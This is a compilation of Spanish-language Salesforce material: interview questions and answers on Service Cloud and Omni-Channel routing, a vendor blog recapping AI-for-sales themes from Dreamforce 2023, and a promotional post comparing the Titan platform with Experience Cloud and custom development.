5. ¿Cómo garantiza OmniCanal que los casos de alta prioridad se manejen rápidamente?

OmniCanal permite a los administradores establecer niveles de prioridad para diferentes tipos de trabajo. Cuando llegan elementos de trabajo, se enrutan automáticamente según estos niveles de prioridad. Los elementos de alta prioridad se envían al principio de la cola para que se atiendan más rápido.

6. ¿Se puede integrar OmniCanal con otras funciones de Salesforce?

Sí, OmniCanal se integra perfectamente con otras funciones de Salesforce. Por ejemplo, funciona con Service Cloud para gestionar procesos de atención al cliente, Sales Cloud para procesos de ventas e incluso aplicaciones personalizadas de Salesforce.

7. ¿Cómo admite OmniCanal los diferentes canales de comunicación?

OmniCanal es versátil al admitir varios canales de comunicación como correo electrónico, chat, SMS y redes sociales. Dirige todos estos diferentes tipos de trabajo a los agentes a través de la misma plataforma, garantizando un enfoque unificado del servicio al cliente.

8. ¿Puede describir un escenario en el que el enrutamiento omnicanal podría resultar beneficioso?

Imagine un escenario en el que hay un gran volumen de solicitudes de servicio entrantes y una cantidad limitada de agentes disponibles. OmniCanal dirige eficientemente las solicitudes a los agentes disponibles según sus habilidades, carga de trabajo y prioridad de los casos, garantizando una carga de trabajo equilibrada y respuestas oportunas.

9. ¿Cuáles son los tipos de Omni Channel?

Basado en cola → Asignar agentes a la cola

Basado en habilidades → Asignar habilidades a los agentes

Enrutamiento externo → Configuración de enrutamiento de terceros

10. ¿Cómo configurar Omni Channel?

  1. Habilite OmniCanal.
  2. Crear canales de atención.
  3. Cree configuraciones de enrutamiento.
  4. Asociar configuraciones de enrutamiento y agentes con colas.
  5. Crear configuraciones de presencia.
  6. Crear estados de presencia.
  7. Agregue el widget omnicanal.

11. ¿Cómo crear un Canal de Atención?

Se puede crear un canal de servicio para cualquier objeto de Salesforce, como un caso, cliente potencial, sesión SOS o objeto personalizado.

12. ¿Cómo crear una configuración de enrutamiento?

Las configuraciones de enrutamiento determinan cómo se enrutan los elementos de trabajo a los agentes.

Utilícelos para priorizar la importancia relativa y el tamaño de los elementos de trabajo de sus colas.

13. ¿Explicar los ajustes de configuración de enrutamiento?

Prioridad de ruta:

El orden en el que los elementos de trabajo de la cola asociados con esta configuración de enrutamiento se enrutan a los agentes. Los objetos en colas con un número menor se enrutan primero a los agentes.

Modelo de enrutamiento:

Determina cómo se enrutan los elementos de trabajo entrantes a los agentes asignados al canal de servicio de configuración.

Tiempo de espera de empuje (segundos):

Establece un límite de tiempo para que un agente responda a un elemento antes de enviarlo a otro agente.

Unidades de Capacidad:

Cantidad de capacidad total del agente.

Preguntas basadas en escenarios

1. ¿Cómo diseñaría una solución para respaldar a un equipo de soporte multilingüe que utiliza Service Cloud?

Service Cloud de Salesforce admite equipos multilingües mediante el uso de funciones como Translation Workbench, que le permite traducir objetos estándar y personalizados, reglas de validación, etiquetas de campo y más, a cualquiera de los idiomas admitidos.

Además, los artículos de conocimiento se pueden escribir y traducir a varios idiomas, lo que permite a los agentes de soporte acceder y proporcionar información en varios idiomas.

También puede configurar OmniCanal para enrutar casos a los agentes adecuados según sus habilidades lingüísticas. De esta manera, los clientes pueden interactuar con el soporte en su idioma preferido, mejorando la satisfacción del cliente.

2. ¿Puede explicarme el proceso de diseño de una solución de Service Cloud que incorpore reglas de escalamiento de casos y SLA para garantizar una resolución oportuna del caso?

  1. Es necesario definir los SLA, es decir, el tiempo dentro del cual se deben resolver casos de ciertos tipos o prioridades.
  2. Una vez definidos, configurará los procesos de derechos para especificar el cronograma para cada etapa de resolución del caso.
  3. Luego, usaría Milestones dentro de estos procesos para rastrear si los casos se están resolviendo dentro de los SLA definidos.
  4. Las reglas de escalamiento de casos se usarían para escalar casos que estén en peligro de violar sus SLA. Estos se pueden configurar para escalar según la antigüedad del caso, la prioridad o incluso si el caso ha estado inactivo. Los casos escalados pueden luego remitirse automáticamente a agentes o supervisores con más experiencia para recibir atención urgente.

3. ¿Cómo abordaría el diseño de una solución para un centro de llamadas a gran escala que necesita gestionar grandes volúmenes de casos y llamadas?

– Para los centros de llamadas de gran volumen, le conviene aprovechar la función OmniCanal de Service Cloud, que garantiza que los casos se dirijan a los agentes adecuados según su disponibilidad y conjunto de habilidades, lo que ayuda a gestionar la carga de trabajo de manera eficiente. La integración de la telefonía mediante Open CTI permite a los agentes recibir y realizar llamadas directamente dentro de Salesforce, garantizando que tengan toda la información relevante del cliente al alcance de su mano.

4. ¿Cuál es su experiencia con la integración de aplicaciones de terceros en Service Cloud y cómo ha abordado la solución de problemas de integración en el pasado?

Mi enfoque implica primero garantizar que la aplicación de terceros tenga una documentación API sólida y cumpla con las mejores prácticas de seguridad y cumplimiento. Salesforce ofrece varias formas de integración, como mediante API REST o SOAP, servicios externos o incluso mediante aplicaciones AppExchange, si están disponibles.

5. ¿Cómo diseñaría una solución que utilice Service Cloud para rastrear la opinión del cliente e incorporar esa información en los flujos de trabajo de gestión de casos?

Service Cloud puede integrarse con herramientas que ofrecen análisis de sentimientos, incluido Einstein Sentiment de Salesforce. Al analizar el texto de las interacciones con los clientes (correos electrónicos, transcripciones de chat, publicaciones en redes sociales), se puede determinar el sentimiento (positivo, neutral, negativo). Estos datos de opinión se pueden almacenar como un campo en el objeto Caso o en un objeto personalizado relacionado.

6. ¿Puede dar un ejemplo de cómo ha utilizado Service Cloud para mejorar las capacidades de autoservicio del cliente y reducir la cantidad de solicitudes de soporte entrantes?

Una estrategia eficaz es implementar una comunidad o portal de clientes utilizando Salesforce Community Cloud, integrado con Service Cloud. Aquí se puede acceder a los artículos de la base de conocimientos, lo que permite a los clientes encontrar respuestas a sus preguntas. También se pueden crear casos directamente desde la comunidad y los clientes pueden verificar su estado sin necesidad de comunicarse con el soporte. La implementación de un chatbot a través de Einstein Bots también puede desviar consultas rutinarias al proporcionar respuestas automáticas a preguntas comunes.

7. ¿Has trabajado con Service Cloud Voice? ¿Cómo ha utilizado esta tecnología para mejorar el rendimiento del call center y la satisfacción del cliente?

Service Cloud Voice integra la telefonía en Salesforce, brindando una vista unificada del cliente y transcripción de llamadas en tiempo real. Esto permite a los agentes centrarse más en el cliente que en tomar notas. La transcripción en tiempo real, impulsada por Einstein, también puede proporcionar sugerencias para el siguiente paso, ayudando a los agentes más nuevos. La conclusión posterior a la llamada se acelera porque los datos de la llamada ya están en Salesforce, lo que reduce el trabajo posterior a la llamada y, en consecuencia, los tiempos de espera para los clientes. Los datos históricos de llamadas brindan información valiosa para el análisis de la opinión del cliente y el desempeño de los agentes, lo que impacta positivamente la capacitación y la satisfacción del cliente.

8. ¿Cómo abordaría el diseño de una solución para una empresa que opera en varios países con diferentes regulaciones de privacidad de datos?

– El cumplimiento de diversas normas de privacidad de datos se puede gestionar en Service Cloud mediante el uso de funciones como opciones de residencia de datos para almacenar datos en regiones específicas, enmascaramiento de datos, cifrado, seguridad a nivel de campo y reglas de acceso a registros para controlar quién puede acceder a qué datos.

9. ¿Cómo ha abordado los problemas de escalabilidad y rendimiento al diseñar soluciones de Service Cloud para grandes empresas?

  • Para las grandes empresas, las consideraciones incluyen la gestión del volumen de datos, el uso de las herramientas de optimización del rendimiento integradas de Salesforce y la revisión periódica de la organización para eliminar configuraciones y personalizaciones obsoletas.
  • También es importante diseñar con una mentalidad de “clics, no código” para minimizar el código personalizado, que puede introducir complejidad y sobrecarga de rendimiento.
  • Cuando es necesario un código personalizado, es vital seguir las mejores prácticas para la masificación y las consultas SOQL eficientes. Finalmente, el monitoreo a través del Optimizador, Health Check y otras herramientas de Salesforce puede ayudar a identificar y mitigar problemas de rendimiento de manera proactiva.

10. ¿Cómo ha utilizado Service Cloud para mejorar la retención de clientes y reducir las tasas de abandono?

En Service Cloud, la retención de clientes se puede mejorar significativamente utilizando las sólidas funciones de servicio al cliente de la plataforma. Por ejemplo, aprovecho las capacidades de análisis e informes de Service Cloud para realizar un seguimiento de las puntuaciones de satisfacción del cliente e identificar problemas comunes que provocan la insatisfacción del cliente. Al integrar los comentarios directamente en el sistema de gestión de casos, los agentes pueden abordar las inquietudes de manera proactiva antes de que se intensifiquen, lo que impacta directamente en la satisfacción y retención del cliente. Además, características como la comunicación personalizada con el cliente, artículos de conocimiento para el autoservicio y la resolución eficiente de casos a través del enrutamiento y escalamiento automatizados de casos ayudan a mantener una experiencia positiva para el cliente, reduciendo así la deserción.

11. ¿Ha trabajado con la funcionalidad Live Agent de Service Cloud? ¿Cómo ha utilizado esta tecnología para mejorar las experiencias de atención al cliente?

Sí, utilicé Live Agent dentro de Service Cloud para mejorar el soporte que reciben los clientes en tiempo real. Al integrar Live Agent, los clientes pueden chatear instantáneamente con agentes de soporte, lo que reduce los tiempos de espera y mejora la satisfacción general. Descubrí que incorporar el chat de Live Agent en sitios web y aplicaciones móviles donde los clientes son más activos reduce significativamente la barrera para acceder al soporte.

12. ¿Puede describir cómo diseñaría una solución de Service Cloud que incorpore el enrutamiento automatizado de casos al agente apropiado según el problema del cliente y el conjunto de habilidades del agente?

Para lograr esto, aprovecharíamos la función OmniCanal, que permite enrutar los casos según el conjunto de habilidades, la disponibilidad y la carga de trabajo del agente.

  1. Comenzaría por definir varios conjuntos de habilidades de agentes dentro del sistema y asociaría estas habilidades con los agentes correspondientes.
  2. Luego, establecía configuraciones de enrutamiento, donde los casos entrantes se evalúan según criterios predefinidos relacionados con el problema del cliente y luego se los relaciona con un agente que posee el conjunto de habilidades requerido.

13. ¿Cómo abordaría el diseño de una solución de Service Cloud que pueda manejar grandes volúmenes de casos manteniendo tiempos de respuesta consistentes y niveles de satisfacción del cliente?

  • Primero, implementaría reglas de asignación de casos para automatizar la distribución de casos a los agentes o colas correctos.
  • Luego, utilizaría la función de reglas de escalamiento de casos de Service Cloud para priorizar casos urgentes o de alto impacto.
  • Para mantener tiempos de respuesta constantes, se pueden utilizar funciones como reglas de respuesta automática para reconocer inmediatamente los envíos de casos.
  • Además, integraría una base de conocimientos integral para facilitar las opciones de autoservicio, reduciendo así la carga de casos para los agentes.

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Todo lo que aprendimos sobre IA para ventas en Dreamforce 2023

Todo lo que aprendimos sobre IA para ventas en Dreamforce 2023

Dreamforce fue épico. Compartimos consejos y noticias de la industria con Salesblazers, hicimos amigos y repartimos montones de regalos (nuestros peluches son insuperables). Sin embargo, entre todas las sesiones de puesta al día y aprendizaje de este año, se destacó un tema: la importancia crítica de la inteligencia artificial (IA) en las ventas.

Los equipos de ventas están viendo el surgimiento de nuevas herramientas de inteligencia artificial para ayudar a la prospección, el entrenamiento y la previsión, todo al servicio de la eficiencia de las ventas. También hay un mayor interés en la información sobre los clientes en tiempo real como ventaja competitiva, alojada en un CRM único y seguro.

¿Cómo están aprovechando todo esto los mejores equipos de ventas, manteniendo al mismo tiempo relaciones sólidas con los clientes? Descubra sus consejos y trucos de ventas a continuación.

¿Te perdiste la conferencia magistral de Dreamforce Sales Cloud? Transmítalo en Salesforce+

Escuche lo que dicen los líderes de ventas innovadores sobre la innovación impulsada por la IA, la toma de decisiones basada en datos y las últimas innovaciones de Sales Cloud.

1. Priorice los datos seguros antes de adoptar la IA generativa

El campo en constante evolución de la IA promete mejorar la eficiencia de los vendedores, pero conlleva algunos desafíos de seguridad. Una investigación reciente de Salesforce encontró que el 73% de los empleados cree que la IA generativa introduce nuevos riesgos de seguridad. Hay buenos motivos para preocuparse: las herramientas públicas de IA generativa carecen de cifrado de datos, de enmascaramiento de datos y, en realidad, de cualquier tipo de protección de seguridad. Esto hace que sus datos sean vulnerables al robo y al mal uso.

En el último año, todos nos hemos vuelto un poco más inteligentes en lo que respecta a la seguridad. Ahora sabemos que debemos evitar conectar los datos de los clientes a herramientas públicas de IA generativa y que todavía necesitamos un ser humano en el medio para revisar manualmente cualquier copia de IA generativa para garantizar la precisión. Y si desea aprovechar la IA generativa, debe hacerlo en un entorno que pueda controlar, con todas las protecciones de seguridad que necesita para evitar que sus datos caigan en las manos equivocadas.

Cómo Salesforce le ayuda a mantener la seguridad:

La confianza siempre ha sido nuestro valor número uno, razón por la cual lanzamos Einstein Trust Layer a principios de este año. Se trata de una arquitectura de IA segura, integrada de forma nativa en la plataforma Salesforce. Diseñado para estándares de seguridad empresarial, permite a los equipos beneficiarse de la IA generativa sin comprometer los datos de sus clientes. Por ejemplo, si bien los mensajes impulsan cada salida de IA generativa, nuestra arquitectura Zero Retention garantiza que no se almacenen datos de clientes fuera de Salesforce. El enmascaramiento de datos (ocultar cualquier información confidencial de una empresa o un individuo) proporciona una capa adicional de protección.

2. No esperes para unirte a la IA generativa

La IA generativa puede parecer una adición espectacular a su pila tecnológica, pero no es simplemente algo "bueno tenerlo". Lo necesita para seguir siendo competitivo. Según nuestro reciente informe Tendencias en IA generativa para ventas , el 55% de los profesionales de ventas informan que actualmente o planean usar IA generativa, y el 58% dice que les ayuda o les ayudará a aumentar la productividad.

Es fácil ver por qué la adopción está aumentando. Los representantes pueden utilizar indicaciones basadas en texto para identificar clientes potenciales, investigar empresas, redactar correos electrónicos e incluso analizar correos electrónicos anteriores para descubrir necesidades de clientes potenciales que no han abordado. Los CRM más avanzados impulsados por IA pueden personalizar las comunicaciones e incluso imitar la voz y el tono de los representantes. Esto permite a los vendedores deshacerse de las tareas manuales que consumen mucho tiempo y centrarse en lo que realmente importa: construir relaciones significativas con los clientes .

Cómo ayuda Sales Cloud a que la IA sea accesible para todos:

En Dreamforce, presentamos algunas ingeniosas innovaciones de IA generativa para Sales Cloud ofrecidas a través de Einstein 1 Sales, nuestro conjunto de herramientas de IA:

Resumen de llamadas: resuma automáticamente las llamadas para resaltar los temas clave cubiertos durante las reuniones y los próximos pasos.

Correos electrónicos de ventas: genere automáticamente correos electrónicos personalizados e hiperrelevantes para cada conversación de ventas utilizando los datos del cliente que ya están alojados en Sales Cloud.

Einstein Copilot para ventas: descargue el trabajo pesado durante todo el ciclo de ventas a un asistente digital, incluida la investigación de cuentas, la preparación de reuniones (establecimiento de agenda y notas a tener en cuenta) y actualizaciones de registros de transacciones.

3. Apóyese en el análisis en tiempo real y la IA predictiva para ganar cuando llegue el cambio

Como selamentó recientemente uno de nuestros Salesblazers, muchas empresas todavía están atrapadas en hojas de cálculo obsoletas que requieren actualizaciones y análisis manuales lentos y que consumen mucho tiempo. Ése es el engorroso modus operandi operativo del pasado y dificulta actuar según la información más reciente sobre acuerdos. Peor aún: predecir lo que sucederá a continuación es una tarea hercúlea e imprecisa.

Al aprovechar el poder de la automatización, los equipos de ventas pueden apoyarse en su CRM para actualizar los registros de transacciones en tiempo real (léase: no más hojas de cálculo). Cuando se combina con IA predictiva, los representantes y gerentes pueden recibir alertas sobre posibles problemas de acuerdos y pronósticos antes de que las cosas se descarrilen.

Y eso es realmente sólo el comienzo. Imagínese esto: mientras los representantes se mantienen al tanto de las últimas novedades sobre los acuerdos, los gerentes aprovechan los datos en tiempo real para realizar un seguimiento del desempeño del equipo sobre la marcha, identificando oportunidades de capacitación en el momento (como clientes potenciales estancados) que pueden abordar rápidamente para mantener a los representantes encaminados. . Al mando, los líderes utilizan los datos más recientes para obtener una visión holística del desempeño de su organización de ventas en relación con los objetivos.

Los datos en tiempo real y la IA predictiva son las claves de todo esto, lo que permite a los equipos de ventas detectar señales de alerta tempranas y cambiar rápidamente las estrategias para garantizar que alcancen sus objetivos de ventas .

Cómo la IA predictiva y en tiempo real de Sales Cloud le ayuda a mantenerse por delante de sus competidores:

Al utilizarEinstein Activity Capture , Sales Cloud captura y unifica automáticamente datos de cada interacción con el cliente, como correos electrónicos, chats en línea y llamadas telefónicas, para que los representantes puedan ver su propio "estado de ventas" en cualquier momento. Aún mejor, los equipos pueden extraer datos de herramientas de terceros y armonizarlos con los registros de CRM existentes para obtener una vista de 360 grados de cada cliente y cliente potencial. Aplique la funcionalidad predictiva de IA y obtendrá recomendaciones muy relevantes para los próximos mejores pasos que harán avanzar cada acuerdo.

Para gerentes y líderes de ventas, las actualizaciones de datos en tiempo real y la IA predictiva se unen en El panel Deal Insights de Sales Cloud para detectar posibles problemas de pronóstico con anticipación para que los equipos puedan ajustar la estrategia y mantener el rumbo. La actividad de los representantes también se captura a través de Activity 360 : los gerentes pueden ver métricas clave del equipo, como clientes potenciales en proceso y tasa de ganancias, en un solo lugar para descubrir oportunidades de capacitación mientras todavía hay tiempo para impactar los acuerdos.

4. Invierta en una única plataforma en lugar de múltiples herramientas desconectadas

Nuestro reciente informe sobre el estado de las ventas reveló una cruda realidad: el 66% de los representantes de ventas se sienten abrumados por la multitud de herramientas disponibles. El atractivo de la tecnología de próxima generación, incluidos los complementos de IA generativa y las herramientas de función única, amenaza con agravar ese problema.

¿El grito de guerra del escenario de Dreamforce? Simplifique su pila tecnológica . Reemplace las soluciones puntuales con una plataforma que pueda ampliar con nuevas características, capacidades o funciones a medida que surjan las necesidades. Priorice las funciones principales, como la gestión de contactos, la gestión de canales y la previsión, pero también busque una plataforma que le permita integrar perfectamente capacidades de IA y análisis en tiempo real para eliminar la fatiga de alternar entre sistemas.

Cómo le ayuda Sales Cloud a impulsar las ventas de un extremo a otro:

Más allá de satisfacer las necesidades básicas del día a día de los vendedores a través de herramientas como Activity Capture, puede aprovechar la plataforma Sales Cloud para simplificar su pila tecnológica en ventas y operaciones, al tiempo que incorpora el poder de la IA. Por ejemplo, los equipos que supervisan la planificación de ventas y los programas de habilitación de ventas pueden utilizar el poder de los datos de actividad de clientes y vendedores en tiempo real para realizar esa planificación y seguimiento de resultados directamente dentro de Sales Cloud CRM. Muchos clientes de Sales Cloud incluso extienden las funciones de automatización e inteligencia de su CRM a los canales de socios a través de nuestra solución Partner Relationship Management .

5. La tecnología es importante, pero no pierdas el foco en las relaciones

Este último es un poco pivote.

Si hay algo que ha llamado la atención de los líderes de ventas en los últimos tiempos es esto: las relaciones te hacen o te deshacen. Es importante que estemos al tanto de las últimas tecnologías, como la IA, pero lo que es igualmente importante son las conexiones que establecemos con nuestros equipos y nuestros clientes. Eso siempre comienza con la superación personal. Cuanto mejor seas para involucrarte, comunicarte y animar a los demás, mejores serán tus relaciones.

Los Salesblazers hablaron mucho sobre esto durante Dreamforce, pero tres consejos fueron los que más resonaron. Primero, nunca dejes de aprender. Tome clases, obtenga experiencia práctica, haga crecer su red de pares y aprenda de otros en su campo. En segundo lugar, valore la confianza que se ha ganado con sus clientes y continúe fortaleciendo esas relaciones haciendo un seguimiento y ofreciéndoles recursos útiles que sabe que necesitan. En tercer lugar, muestra siempre lo mejor de ti. Tómese el tiempo para comprender qué es lo que realmente motiva a sus clientes y brinde las soluciones que necesitan antes de que sepan que las necesitan. Haga un esfuerzo adicional y descubrirá que la lealtad llega rápidamente.

Hay días difíciles y días fáciles, pero cada día es una oportunidad para apuntalar las relaciones que son la base de las ventas.

Cómo Salesforce puede ayudarle a fomentar relaciones sólidas:

La comunidad Salesblazer es el lugar al que acuden todos los profesionales de ventas para obtener asesoramiento profesional, orientación táctica de ventas y creación de redes. Únase y conéctese con compañeros Salesblazers que pueden ayudarlo a aprender, conectarse y crecer.

Prepárese para el éxito en las ventas

¿Qué aprendimos en Dreamforce? En resumen, la IA es el nombre del juego. A medida que evoluciona la industria de las ventas, los líderes de ventas pueden mejorar la productividad con IA generativa, tomar decisiones más rápidas basadas en datos con IA predictiva y optimizar la tecnología para que los representantes puedan centrarse más en la construcción de relaciones. Si los tiene en la mira, en 2024 estará por delante del resto.

Transmita lo mejor de Dreamforce 2023

¿Extrañas la magia? No te preocupes. Vea toda la cobertura de IA y vea qué están haciendo los principales líderes de ventas para salir adelante en 2023. ¡Todo está bajo demanda en Salesforce+!

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Las Mejores Alternativas a Salesforce Experience Cloud

Las Mejores Alternativas a Salesforce Experience Cloud

Última actualización el 22 de septiembre de 2023 por Rakesh Gupta

Gran idea o pregunta duradera:

  • ¿Cuáles son las mejores alternativas a Experience Cloud del mercado? ¿Y es posible encontrar una herramienta sin código que le permita crear portales y aplicaciones totalmente personalizables?

Objetivos:

Después de leer este blog, tendrás:

  • Comprensión de Salesforce Experience Cloud, incluidas sus fortalezas y debilidades.
  • Conocimiento de los pros y los contras de utilizar desarrollo personalizado para crear portales y aplicaciones web.
  • Una introducción a Titan Web, con una explicación de cómo esta herramienta de código cero puede brindarle la libertad de crear cualquier aplicación web o portal que desee.

El director de ventas Eric Brown se acercó a Isabella Stewart , administradora de Salesforce en Gurukul On Cloud (GoC). Eric quiere un sistema totalmente digitalizado para gestionar los procesos internos de recursos humanos. La directora de recursos humanos y su equipo están muy ocupados utilizando procesos manuales y parcialmente digitalizados para contratar, gestionar nóminas y cuidar el bienestar de los empleados. ¡Asegurarse de que todo el papeleo y la administración estén actualizados es una pérdida de hasta 12 horas cada semana! Está empezando a ser abrumador.

La empresa quiere un portal para empleados rentable y totalmente personalizable, integrado con Salesforce, que no requiera codificación ni conocimientos técnicos especiales para su implementación. Saben que Salesforce Experience Cloud es una posible solución, pero también les preocupa que sea costoso y no lo suficientemente flexible para sus necesidades. Entonces, ¿cuáles son las alternativas de Experience Cloud ?

Experiencia en la nube

Salesforce Experience Cloud, anteriormente conocida como Salesforce Community, se introdujo en 2013 como una plataforma para crear comunidades en línea de marca. A lo largo de los años, Salesforce Experience Cloud evolucionó con actualizaciones y mejoras. Hoy en día, sirve como una solución integral para crear portales atractivos, aplicaciones web, comunidades y experiencias de autoservicio, lo que permite a las organizaciones ofrecer interacciones fluidas e impulsar el compromiso de clientes, socios y empleados.

La creación de aplicaciones web y portales de autoservicio con Experience Cloud puede mejorar la experiencia de sus empleados en el lugar de trabajo y aliviar la presión de su departamento de recursos humanos. Un portal de autoservicio o una aplicación web creada con Experience Cloud proporciona a los empleados acceso directo a su información personal y profesional, lo que facilita la actualización de información y registros en cualquier momento o lugar.

Echemos un vistazo más de cerca a algunas de las ventajas y desventajas de utilizar Experience Cloud para crear portales para su organización.

Las mayores ventajas de Experience Cloud:

  • Plantillas listas para usar para impulsar su implementación
  • Soluciones Lightning Bolt disponibles de forma gratuita o compradas en Salesforce AppExchange
  • Acceso completo a los datos de Customer 360 guardados en Salesforce
  • Salesforce Experience Cloud funciona a través de un software intuitivo de arrastrar y soltar, por lo que no es necesario tener ninguna experiencia técnica especial ni conocimientos de codificación.
  • Dado que Experience Cloud es nativo de Salesforce, no es necesario realizar ningún trabajo de integración adicional. El software ya habla el idioma de los administradores de Salesforce y tiene la interfaz de usuario con la que estarían familiarizados.
  • Puedes crear páginas públicas y privadas. La ventaja de esto es que sólo los usuarios con los permisos de acceso adecuados podrán visitar espacios específicos.
  • Las opciones listas para usar de Experience Cloud le brindan G2M rápido y lo más probable es que pueda crear su portal o sitio en uno o dos días.
  • También tiene la opción de diseñar su portal o sitio web de la manera que desee utilizando imágenes y colores personalizados para que coincidan con la apariencia de su marca.
  • Listo para dispositivos móviles

Contras de Experience Cloud:

  • Las opciones listas para usar no le brindan mucha flexibilidad para personalizar y ajustar el diseño de su página para satisfacer sus necesidades.
  • Experience Cloud es algo limitado desde la perspectiva de la experiencia del usuario; por ejemplo, no puede utilizar elementos repetidos, edición en línea de tablas, pantallas modales y otros elementos atractivos. Por ejemplo, es posible que desee crear un elemento que abra la biblioteca de cámaras del usuario al hacer clic en él, pero con Salesforce Experience Cloud esto es imposible.
  • Salesforce Experience Cloud es definitivamente caro, por lo que si desea optar por esta solución, prepárese para pagar
  • No se puede diferenciar entre la experiencia del usuario de escritorio y móvil usando opciones listas para usar. Para ello es necesario recurrir al desarrollo personalizado.
  • Sin validaciones de entrada en tiempo real. Primero debes hacer clic en el botón “Guardar”.
  • Las integraciones fuera de Salesforce son tareas complejas y requieren un desarrollo extenso
  • Hay una cantidad limitada de plantillas disponibles y estas solo cubren casos de uso específicos. Esto significa que es posible que no encuentre la plantilla adecuada para las necesidades de su negocio.

Ejemplo de plantillas de Salesforce Experience Cloud a continuación. Crédito: https://www.salesforce.com/products/experience-cloud/features/templates/

¿Puede el desarrollo personalizado superar las limitaciones de Experience Cloud?

Aprovechar los recursos del desarrollo personalizado es otra forma de crear un portal o sitio web que se adapte a las necesidades de su negocio. Y en muchos sentidos, esta opción le ayuda a superar las limitaciones de Experience Cloud. Estas son algunas de las principales razones para utilizar el desarrollo personalizado, así como sus inconvenientes:

Ventajas del desarrollo personalizado:

  • Lo bueno de utilizar el desarrollo personalizado para crear sus aplicaciones y portales es que puede hacer lo que quiera con su lienzo en blanco, por ejemplo, integrarlo con múltiples sistemas externos a Salesforce.
  • Puede emplear desarrolladores para crear cualquier UX que desee, de modo que no esté limitado a Salesforce UX al determinar la experiencia que tienen los clientes cuando visitan su sitio.
  • Puedes crear diseños dinámicos para cualquier dispositivo, por ejemplo, portátil o móvil, sin restricciones.
  • Su portal o sitio puede personalizarse para cualquier caso de uso que se le ocurra. ¡Si puedes soñarlo puedes hacerlo!
  • Proporciona mayor control y propiedad: con un portal o sitio web de desarrollo propio, las organizaciones tienen total propiedad y control sobre la propiedad intelectual, el código fuente y las mejoras futuras.

El desarrollo personalizado ofrece la gran ventaja de brindarle libertad absoluta para crear el portal de sus sueños sin barreras, restricciones ni compromisos. Pero este método no está exento de desventajas. Vea a continuación algunos de los principales puntos débiles:

Desventajas del desarrollo personalizado:

  • Falta de experiencia técnica: desarrollar un portal o una aplicación web requiere habilidades y recursos técnicos especializados
  • Limitaciones de tiempo y recursos: crear una aplicación o un portal web puede ser un proceso que requiere mucho tiempo y una inversión significativa.
  • La salida al mercado puede verse seriamente retrasada, lo que podría afectar negativamente a sus objetivos comerciales.
  • Rápidos avances tecnológicos: el panorama tecnológico evoluciona continuamente y periódicamente surgen nuevas características, marcos y plataformas. Desarrollar una aplicación web o un portal internamente requiere mantenerse actualizado con las últimas tecnologías y mejores prácticas.
  • Desafíos de mantenimiento y soporte: una vez que se desarrolla un portal de autoservicio o una aplicación web, el mantenimiento y el soporte continuos son esenciales para su buen funcionamiento.
  • Básicamente, dependerá de los recursos de desarrollo y se verá paralizado cuando desee realizar actualizaciones simples. ¡No suena divertido!
  • Problemas de integración: desarrollar una aplicación web o un portal internamente puede plantear conflictos de integración con sistemas, bases de datos o servicios de terceros existentes.
  • Consideraciones de seguridad y cumplimiento: crear una aplicación o un portal seguro implica implementar medidas de seguridad sólidas y garantizar el cumplimiento de las normas de protección de datos.
  • Centrarse en las competencias básicas: las organizaciones deben evaluar si el desarrollo de una aplicación o portal se alinea con sus competencias básicas y prioridades estratégicas.
  • ¡Dinero dinero dinero! Esta es definitivamente tu opción más cara, así que prepárate para acumular una factura.

¡Haciéndolo todo con la plataforma de experiencia digital de Titan!

Titan es una plataforma de experiencia completa que le brinda la libertad de crear sus propios portales, sitios de autoservicio, formularios de Salesforce , encuestas y mucho más. Y es una de las mejores alternativas a Experience Cloud del mercado.

Titan es una plataforma sin código con una interfaz intuitiva de arrastrar y soltar que permite a los administradores de Salesforce crear y configurar sitios web potentes para cualquier industria y caso de uso. Entonces, la verdadera pregunta es: ¿cómo se compara Titan con Experience Cloud? ¿Tiene también ventaja sobre el desarrollo personalizado? A continuación, detallamos cómo Titan Web puede permitirle crear sitios web impresionantes y portales personalizados:

Puntos ganadores de Titán:

  • Plataforma de código cero con una interfaz sencilla de arrastrar y soltar, por lo que no necesita gastar dinero en desarrollos costosos
  • Integración bidireccional en tiempo real con Salesforce y acceso completo a Customer 360
  • Plantillas listas para usar para acelerar su comercialización
  • Experiencia de usuario 100 % flexible por dispositivo para viajes de cliente personalizados
  • Totalmente de marca para que coincida con la apariencia de su organización.
  • El enfoque móvil primero le brinda la capacidad de escalar
  • Totalmente seguro y compatible con los principales marcos regulatorios como GDPR, SOC 2 e HIPAA
  • Cree perfiles personalizados para clientes y socios que sean fáciles de implementar
  • Genere documentos y fírmelos desde su aplicación o portal
  • Capacidades sin conexión para que pueda utilizar esta herramienta incluso cuando esté fuera del alcance de Internet
  • Compatible con múltiples idiomas y monedas
  • Integraciones integradas de terceros
  • Capacidades completas de gestión de versiones
  • Rentable en comparación con la competencia

Ahora, echemos un vistazo a las desventajas de Titan:

  • El tiempo de incorporación puede variar entre 4 y 20 horas, según la complejidad de su caso de uso.
  • Ocasionalmente, para una lógica o un diseño de diseño muy complejos, una organización necesitará agregar código JS y/o CSS para ajustarse a sus necesidades.
  • El dominio/subdominio del sitio web está limitado a uno por cliente. Se pueden comprar dominios adicionales por un costo adicional

El arma secreta de Titan es su poder para crear aplicaciones web totalmente personalizables sin tener que escribir una sola línea de código. Sin concesiones ni agendas ocultas para que pueda acelerar su comercialización.

Comparación de Experience Cloud frente a la competencia

Arriba, profundizamos en Salesforce Experience Cloud y sus principales alternativas. Pero, ¿cuál es el resultado final y quién sale como el verdadero ganador? Eche un vistazo a nuestra tabla comparativa a continuación para descubrirlo:

Experiencia en la nube Desarrollo a la medida Plataforma Titán
Costo Medio Muy caro Medio
Hora de comprar Corto Largo Muy corto
Esfuerzo de mantenimiento prolongado Bajo Muy alto Bajo
Recursos necesarios para el proyecto Administrador de SF Desarrolladores Administrador de SF
Flexibilidad de diseño Muy poco Lleno Lleno
Experiencia de usuario Lo mismo que Salesforce. No puedes crear tu propia experiencia de usuario Puedes desarrollar cualquier cosa que puedas soñar. Casi todo lo que puedas soñar
Marca Sí con temas personalizados Sí Sí con temas personalizados
Integración de Salesforce Sí Requiere desarrollo por integración. Sí
Integraciones de terceros Requiere complementos pagos o desarrollo Requiere complementos pagos o desarrollo Sí
Validaciones de datos en tiempo real No Sí Sí
Flujo de trabajo y automatización Sí No Sí
Móvil Listo para dispositivos móviles Diseño completamente dinámico por dispositivo Diseño completamente dinámico por dispositivo
Conocimiento de Salesforce Compatible Requiere desarrollo Compatible
Compromiso digital de Salesforce Compatible Requiere desarrollo Compatible

Depende 100% de usted decidir las funciones y capacidades que necesita para crear los sitios web y portales de sus sueños. Pero está claro que si está buscando una herramienta web sin código, ultraflexible y rentable que mejore la experiencia del usuario, Titan es una excelente opción.

